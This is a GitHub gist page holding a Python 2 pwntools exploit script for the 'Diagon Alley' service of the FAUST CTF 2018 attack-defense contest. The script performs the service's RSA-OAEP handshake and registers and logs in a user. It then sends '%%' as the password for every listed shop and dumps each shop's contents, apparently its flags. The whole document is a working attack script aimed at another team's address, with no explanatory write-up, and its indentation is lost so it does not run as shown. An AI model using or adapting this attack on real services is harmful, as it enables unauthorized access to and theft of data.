Instantly share code, notes, and snippets.

Embed
What would you like to do?
FAUST CTF 2018 "Diagon Alley" exploit
#!/usr/bin/env python
import sys
import struct
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from pwn import *
DEBUG = False
def attach_gdb():
import os
import signal
import pipes
gdb_commands = [
"set follow-fork-mode parent",
"set follow-exec-mode same",
"tcatch exec",
"handle SIGSTOP nostop",
"continue",
"handle SIGSTOP stop",
"b * 0x00000000004025E0", # fwrite
# "b * 0x000000000040283F", # set_check_rsa
# "b * 0x0000000000457300", # exit
]
cmds = " ".join("-ex %s" % pipes.quote(c) for c in gdb_commands)
os.system("tmux split-window -h %s" % pipes.quote("gdb -p %d %s" % (os.getpid(), cmds)))
os.kill(os.getpid(), signal.SIGSTOP)
import random
import string
def generate_random(length=0x10):
return ''.join([random.choice(string.letters + string.digits) for _ in xrange(length)])
def exploit(r):
r.recvuntil('(y/N)')
r.send('N')
r.recvuntil('Choice: ')
r.send("0")
r.recvuntil("User pwd: ")
pwd = generate_random()
r.send(pwd)
r.recvuntil(' with id')
user_id = r.recvline().strip()
r.recvuntil("Choice: ")
r.send("1")
r.recvuntil("User id: ")
r.send(user_id)
r.recvuntil("User pwd: ")
r.send(pwd)
r.recvuntil("Choice: ")
r.send('2')
shop_list = r.recvuntil("Choice: ")
shops = shop_list.split("ID: ")
print shops
for shop in shops:
if not shop:
continue
shop_id = shop.split(' ')[0]
print 'shop_id', shop_id
r.send('3')
r.recvuntil('Shop id: ')
r.send(shop_id)
r.recvuntil('Shop pwd: ')
r.send('%%')
r.recvuntil('Choice: ')
r.send('7')
print r.recvuntil('Choice: ')
SERVER_COUNTER = 0
def interact(p):
global SERVER_COUNTER
our_key = RSA.generate(2048, e=65537)
public_key = our_key.publickey().exportKey("DER")
private_key = PKCS1_OAEP.new(our_key)
log.info('Key length: ' + str(len(public_key)))
p.send(p64(len(public_key)))
p.send(public_key)
t = p.recv(8)
print hexdump(t)
server_key_length = u64(t)
log.info('Server key length: ' + str(server_key_length))
server_key = p.recv(server_key_length)
assert server_key_length == len(server_key), 'kok'
server_key = PKCS1_OAEP.new(RSA.importKey(server_key))
data = p.recv(4096)
# print hexdump(data)
SERVER_COUNTER += 1
rand_auth_part = data[8:16]
print private_key.decrypt(data[32:])
orig_recv = p.recv
def new_recv(*args, **kwargs):
global SERVER_COUNTER
if 'orig' in kwargs:
return orig_recv(data)
if 'timeout' in kwargs:
kwargs['timeout'] = 1.0
res = ''
t = orig_recv(*args, **kwargs)
while True:
if len(t) >= 8 and u64(t[:8]) < 0x10000:
block_length = u64(t[:8])
print len(t), block_length
while len(t) < block_length:
t += orig_recv(4096, timeout=0.5)
print len(t)
SERVER_COUNTER += 1
res += private_key.decrypt(t[32:block_length])
if len(t) == block_length:
break
else:
t = t[block_length:] + orig_recv(4096, timeout=0.01)
else:
res += t
break
return res
p.recv = new_recv
orig_send = p.send
def new_send(data, **kwargs):
if 'orig' in kwargs:
return orig_send(data)
data = server_key.encrypt(data)
data = p64(len(data) + 0x20) + rand_auth_part + p64(SERVER_COUNTER) + p64(len(data)) + data
# print hexdump(data)
return orig_send(data)
p.send = new_send
data = 'World'
p.send(data)
exploit(p)
p.close()
def main():
if not DEBUG:
if len(sys.argv) < 2:
log.warning('No address provided in first arg, using NOP team')
target = '10.66.1.2'
else:
target = sys.argv[1]
with remote(target, 4441) as p:
interact(p)
else:
with process('./diagon_alley_no_seccomp', raw=False, preexec_fn=attach_gdb) as p:
interact(p)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment